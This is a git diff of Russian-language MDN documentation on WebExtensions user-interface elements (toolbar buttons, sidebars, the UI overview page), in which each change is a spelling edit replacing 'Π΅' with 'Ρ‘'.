-<p>Π§Ρ‚ΠΎ, Ссли Π²Ρ‹ всё Π΅Ρ‰Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ "ΡΡŠΠ΅Π΄Π°Ρ‚ΡŒ" страницы, Π½ΠΎ лишь Π² Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ попросил ΠΎΠ± этом? Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΠΌ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ внСдряли ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π½Ρ‹ΠΉ скрипт, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡƒΠ½ΠΊΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π½ΠΎΠ³ΠΎ мСню.</p>
+<p>Π§Ρ‚ΠΎ, Ссли Π²Ρ‹ всё Π΅Ρ‰Ρ‘ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ "ΡΡŠΠ΅Π΄Π°Ρ‚ΡŒ" страницы, Π½ΠΎ лишь Π² Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ попросил ΠΎΠ± этом? Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΠΌ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ внСдряли ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π½Ρ‹ΠΉ скрипт, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡƒΠ½ΠΊΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π½ΠΎΠ³ΠΎ мСню.</p>
<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΎΠ±Π½ΠΎΠ²ΠΈΠΌ "manifest.json":</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html
index ba7e259817..6d637ce5e6 100644
--- a/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html
@@ -7,14 +7,14 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action
---
<div>{{AddonSidebar}}</div>
-<p>Кнопка Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browser action</a>) - это ΠΈΠΊΠΎΠ½ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ вывСсти Π² панСль инструмСнтов. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ взаимодСйствуСт с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ наТимая Π½Π° Π½Π΅Π΅ ΠΊΠ°ΠΊ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ.<br>
+<p>Кнопка Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browser action</a>) - это ΠΈΠΊΠΎΠ½ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ вывСсти Π² панСль инструмСнтов. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ взаимодСйствуСт с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ наТимая Π½Π° Π½Π΅Ρ‘ ΠΊΠ°ΠΊ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ.<br>
<img alt="" src="https://mdn.mozillademos.org/files/12966/browser-action.png" style="display: block; height: 387px; margin-left: auto; margin-right: auto; width: 782px;"></p>
<p>Кнопка Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ отобраТаСтся для любой ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ. Π­Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π΅Π΄ΠΈΠ½ΠΎΠΎΠ±Ρ€Π°Π·Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ со всСми страницами.</p>
<p>НапримСр, прСдустановлСнная ΠΊΠ½ΠΎΠΏΠΊΠ° "ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ" ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π»ΡŽΠ±ΡƒΡŽ страницу Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, ΠΊΠ½ΠΎΠΏΠΊΠ° "Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ΅" добавляСт любой адрСс Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π² список ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ. Кнопка Π·Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΅Π΄ΠΈΠ½Ρ‹ΠΉ для всСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° список скачанных Ρ„Π°ΠΉΠ»ΠΎΠ², нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ Π·Π° страница ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Π° Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅.</p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹Π΅ лишь ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ страницам ΠΊΠ½ΠΎΠΏΠΊΠΈ слСдуСт Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ Π² адрСсной строкС (<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a>).</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹Π΅ лишь ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ страницам ΠΊΠ½ΠΎΠΏΠΊΠΈ слСдуСт Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ Π² адрСсной строкС (<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a>).</p>
<h2 id="ОбъявлСниС_в_manifest.json"><span class="short_text" id="result_box" lang="ru"><span>ОбъявлСниС в manifest.json</span></span></h2>
@@ -32,11 +32,11 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action
<p>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ ΠΊΠ½ΠΎΠΏΠΊΡƒ для ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов.</p>
-<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Π΄Π²Π° способа Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ: ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ <a href="/en-US/Add-ons/WebExtensions/Popups">Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°</a> (описано Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅) ΠΈΠ»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° события Π² background script Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС рСакция Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>browserAction.onClicked</code></a>:</p>
+<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Π΄Π²Π° способа Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ: ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ <a href="/en-US/Add-ons/WebExtensions/Popups">Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°</a> (описано Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅) ΠΈΠ»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° события Π² background script Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС рСакция Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ ΠΊ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>browserAction.onClicked</code></a>:</p>
<pre class="brush: js line-numbers language-js"><code class="language-js">browser<span class="punctuation token">.</span>browserAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
-<p>Если ΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² качСствС Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ, Ρ‚ΠΎ событиС ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. ВмСсто этого ΠΎΠΊΠΎΠ»ΠΎ ΠΊΠ½ΠΎΠΏΠΊΠΈ отобразится Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ - ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°Ρ малСнькая страница, дальнСйшСС взаимодСйствиС с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π±Π΅Ρ€Π΅Ρ‚ Π½Π° сСбя ΠΎΠ½Π°. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ этот сцСнарий описан Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ страницС, посвящСнной <a href="/en-US/Add-ons/WebExtensions/Popups">Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ ΠΎΠΊΠ½Π°ΠΌ</a>.</p>
+<p>Если ΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² качСствС Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ, Ρ‚ΠΎ событиС ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. ВмСсто этого ΠΎΠΊΠΎΠ»ΠΎ ΠΊΠ½ΠΎΠΏΠΊΠΈ отобразится Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ - ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°Ρ малСнькая страница, дальнСйшСС взаимодСйствиС с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π±Π΅Ρ€Π΅Ρ‚ Π½Π° сСбя ΠΎΠ½Π°. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ этот сцСнарий описан Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ страницС, посвящённой <a href="/en-US/Add-ons/WebExtensions/Popups">Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ ΠΎΠΊΠ½Π°ΠΌ</a>.</p>
<p>ВсС свойства ΠΊΠ½ΠΎΠΏΠΊΠΈ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ Ρ‡Π΅Ρ€Π΅Π· API <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code>.</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/index.html
index 142b9deb98..661e20a482 100644
--- a/files/ru/mozilla/add-ons/webextensions/user_interface/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/user_interface/index.html
@@ -7,7 +7,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface
---
<div>{{AddonSidebar}}</div>
-<p>Π£ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ WebExtensions Π΅ΡΡ‚ΡŒ нСсколько ΠΎΡ€Π³Π°Π½ΠΎΠ² взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, с ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <em>Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ</em> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΠΎΠΌ. ВсС ΠΎΠ½ΠΈ пСрСчислСны Π½ΠΈΠΆΠ΅, с инструкциСй ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своСм Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…<span id="result_box" lang="ru"><span>.</span></span></p>
+<p>Π£ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ WebExtensions Π΅ΡΡ‚ΡŒ нСсколько ΠΎΡ€Π³Π°Π½ΠΎΠ² взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, с ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <em>Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ</em> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΠΎΠΌ. ВсС ΠΎΠ½ΠΈ пСрСчислСны Π½ΠΈΠΆΠ΅, с инструкциСй ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своём Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…<span id="result_box" lang="ru"><span>.</span></span></p>
<div class="note">
<p><span id="result_box" lang="ru"><span>Π‘ΠΎΠ²Π΅Ρ‚Ρ‹ ΠΊΠ°ΠΊ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих элСмСнтов ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса (UI)</span></span><span lang="ru"><span> ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ взаимодСйствиС Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° с ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ </span></span><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a>.</p>
@@ -43,7 +43,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface
</tr>
<tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Кнопка Π² адрСсной строкС</a></td>
- <td>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов, Π² адрСсной строкС ΠΊΠ½ΠΎΠΏΠΊΠ° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ рядом с адрСсом ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠΉ для Π½Π΅Π΅ страницы.</td>
+ <td>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов, Π² адрСсной строкС ΠΊΠ½ΠΎΠΏΠΊΠ° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ рядом с адрСсом ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠΉ для Π½Π΅Ρ‘ страницы.</td>
<td><img alt="Example showing an address bar button (page action)" src="https://mdn.mozillademos.org/files/15047/address_bar_button.png" style="height: 127px; width: 350px;"></td>
</tr>
<tr>
@@ -59,7 +59,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface
<tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Боковая панСль</a></td>
<td>
- <p dir="ltr">Π’ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ рядом с ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-сайтом открываСтся web-страница с интСрфСйсом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π§Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π΅Π΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ³Π΄Π° Π² Π½Π΅ΠΉ появится ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ.</p>
+ <p dir="ltr">Π’ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ рядом с ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-сайтом открываСтся web-страница с интСрфСйсом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π§Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π΅Ρ‘ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ³Π΄Π° Π² Π½Π΅ΠΉ появится ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ.</p>
</td>
<td><img alt="Example of a WebExtension's sidebar" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="height: 209px; width: 350px;"></td>
</tr>
diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html
index 8393c7b8f2..db2780be8b 100644
--- a/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html
@@ -13,9 +13,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars
<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя ряд встроСнных Π±ΠΎΠΊΠΎΠ²Ρ‹Ρ… ΠΏΠ°Π½Π΅Π»Π΅ΠΉ. НапримСр, Firefox Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль для взаимодСйствия с Π·Π°ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡ <code>sidebar_action</code> Π² manifest.json, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свою Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Она Π±ΡƒΠ΄Π΅Ρ‚ доступна Π½Π°Ρ€Π°Π²Π½Π΅ со встроСнными панСлями, ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смоТСт ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ для встроСнных Π±ΠΎΠΊΠΎΠ²Ρ‹Ρ… ΠΏΠ°Π½Π΅Π»Π΅ΠΉ.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡ <code>sidebar_action</code> Π² manifest.json, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свою Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Она Π±ΡƒΠ΄Π΅Ρ‚ доступна Π½Π°Ρ€Π°Π²Π½Π΅ со встроСнными панСлями, ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смоТСт ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Ρ‘, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ для встроСнных Π±ΠΎΠΊΠΎΠ²Ρ‹Ρ… ΠΏΠ°Π½Π΅Π»Π΅ΠΉ.</p>
